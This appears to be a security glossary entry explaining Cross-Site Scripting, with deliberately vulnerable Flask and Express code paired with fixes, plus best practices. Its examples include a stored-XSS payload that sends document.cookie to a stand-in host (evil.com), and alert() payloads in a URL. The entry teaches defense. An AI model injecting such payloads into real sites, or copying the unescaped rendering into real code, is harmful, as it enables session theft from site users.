Security

Cross-Site Scripting

A web security vulnerability that allows attackers to inject client-side scripts into web pages, classified into Stored, Reflected, and DOM-based variants.

What Is Cross-Site Scripting?

Cross-Site Scripting (abbreviated as XSS to avoid confusion with CSS) is a class of web security vulnerabilities in which an attacker injects malicious JavaScript into a web application that is then executed by other users’ browsers. The attack exploits the trust that a browser places in the content served by a website — if a page at example.com includes a script, the browser executes it with full access to example.com’s cookies, local storage, DOM, and authenticated session, regardless of whether the script was placed there by the site owner or by an attacker.

Cross-Site Scripting has been a top web application vulnerability since security researchers first cataloged it in the late 1990s. MITRE classifies it under CWE-79 (Improper Neutralization of Input During Web Page Generation), and it consistently ranks in the OWASP Top 10. The vulnerability persists because web pages are a mix of structure (HTML), presentation (CSS), and behavior (JavaScript), and any failure to properly encode untrusted data when placing it into that mix can allow an attacker to inject executable code.

The three primary variants of Cross-Site Scripting each have different attack vectors and persistence characteristics. Stored XSS (also called persistent XSS) saves the malicious payload on the server. Reflected XSS (also called non-persistent XSS) embeds the payload in a request that the server echoes back. DOM-based XSS exploits client-side JavaScript that processes untrusted data without proper sanitization, never involving the server at all.

How It Works

Stored XSS is the most dangerous variant because it attacks every user who visits the affected page. An attacker submits a malicious payload through a legitimate feature, and the application stores it and serves it to future visitors:

# Vulnerable Flask application: stores and renders comments without encoding
@app.route('/comment', methods=['POST'])
def add_comment():
    comment = request.form['body']
    db.execute("INSERT INTO comments (body) VALUES (?)", (comment,))
    return redirect('/post/1')

@app.route('/post/<int:id>')
def show_post(id):
    comments = db.execute("SELECT body FROM comments WHERE post_id = ?", (id,)).fetchall()
    html = ""
    for c in comments:
        html += f"<div>{c['body']}</div>"  # Vulnerable: raw HTML insertion
    return render_template_string(html)

The attacker submits <script>new Image().src='https://evil.com/steal?c='+document.cookie</script> as a comment. Every subsequent visitor’s browser executes this script and leaks their session cookie.

The fix uses template engine auto-escaping:

# Fixed: Jinja2 auto-escaping renders user content as text
@app.route('/post/<int:id>')
def show_post(id):
    comments = db.execute("SELECT body FROM comments WHERE post_id = ?", (id,)).fetchall()
    return render_template('post.html', comments=comments)
<!-- post.html: Jinja2 auto-escapes {{ }} expressions by default -->
{% for comment in comments %}
  <div>{{ comment.body }}</div>
  <!-- "<script>..." renders as harmless text -->
{% endfor %}

Reflected XSS requires tricking the user into clicking a crafted link:

// Vulnerable Express.js search endpoint
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h2>Results for: ${query}</h2>`);  // Reflected without encoding
});
// Attacker link: /search?q=<script>alert(document.cookie)</script>
// Fixed: encode before reflecting
const escapeHtml = require('escape-html');
app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q);
  res.send(`<h2>Results for: ${query}</h2>`);
});

DOM-based XSS occurs entirely on the client:

// Vulnerable: reading from location.hash and injecting into DOM
const tab = location.hash.substring(1);
document.querySelector('.tab-content').innerHTML =
  `<h3>${tab}</h3>`;
// Attacker URL: /page#<img src=x onerror=alert(1)>
// Fixed: use textContent for untrusted data
const tab = location.hash.substring(1);
const heading = document.createElement('h3');
heading.textContent = tab;
document.querySelector('.tab-content').appendChild(heading);

Why It Matters

Cross-Site Scripting is the gateway to a wide range of attacks. Session hijacking through cookie theft is the most common exploitation, but XSS can also be used to capture credentials by injecting fake login forms into legitimate pages, spread malware by redirecting users to exploit kits, deface websites by modifying page content, and exfiltrate sensitive data displayed on the page.

The business impact of XSS vulnerabilities is substantial. Bug bounty programs at companies like Google, Facebook, and Microsoft regularly pay thousands of dollars for individual XSS findings. In regulated industries, an XSS vulnerability that leads to data exposure can trigger breach notification requirements, regulatory fines, and class-action lawsuits. The British Airways breach, attributed to a malicious script injection on their payment page, resulted in an initial proposed fine of 183 million pounds under GDPR.

Cross-Site Scripting is also a common stepping stone for more sophisticated attacks. An attacker who achieves XSS on a trusted internal application can use it to pivot into the internal network, access APIs that are only available to authenticated employees, or steal administrative credentials that grant access to infrastructure.

Best Practices

  • Enable auto-escaping in your template engine. Jinja2, ERB, Razor, Thymeleaf, and Handlebars all support automatic output encoding. Ensure it is enabled globally and never disabled for untrusted content.
  • Adopt a framework with built-in XSS protection. React, Angular, Vue, and Svelte encode expressions by default. Their escape hatches (dangerouslySetInnerHTML, [innerHTML], v-html) should be avoided with untrusted data.
  • Implement a strict Content Security Policy. A CSP that disallows inline scripts (script-src 'self') renders most XSS payloads inert. Use nonce-based or hash-based policies for any necessary inline scripts.
  • Sanitize HTML input when rich text is necessary. Use DOMPurify or a comparable library to strip dangerous elements and attributes from user-submitted HTML while preserving safe formatting.
  • Mark session cookies as HttpOnly and Secure. HttpOnly prevents JavaScript from reading cookies, neutralizing the most common XSS exploitation technique. Secure ensures cookies are only sent over HTTPS.

Common Mistakes

  • Trusting client-side input validation. Validation in the browser is a user experience feature, not a security control. Attackers bypass it trivially by sending requests directly. All encoding and sanitization must happen server-side or at the rendering layer.
  • Encoding for the wrong context. HTML encoding a value that is inserted into a JavaScript string or a URL attribute does not prevent XSS. Each insertion context (HTML body, attribute, JavaScript, CSS, URL) requires context-specific encoding.
  • Using blocklists to filter XSS payloads. Blocking <script> is futile when there are hundreds of XSS vectors using event handlers (onerror, onload, onfocus), SVG elements, CSS expressions, and encoding tricks. Output encoding is the only reliable approach.
  • Neglecting DOM-based XSS in security testing. Server-side scanners cannot detect DOM-based XSS because the vulnerability exists entirely in client-side JavaScript. Dedicated client-side scanning and manual code review are required to find these issues.

Related Terms

Learn More

Tool Reviews

Related Articles

Free Newsletter

Stay ahead with AI dev tools

Weekly insights on AI code review, static analysis, and developer productivity. No spam, unsubscribe anytime.

Join developers getting weekly AI tool insights.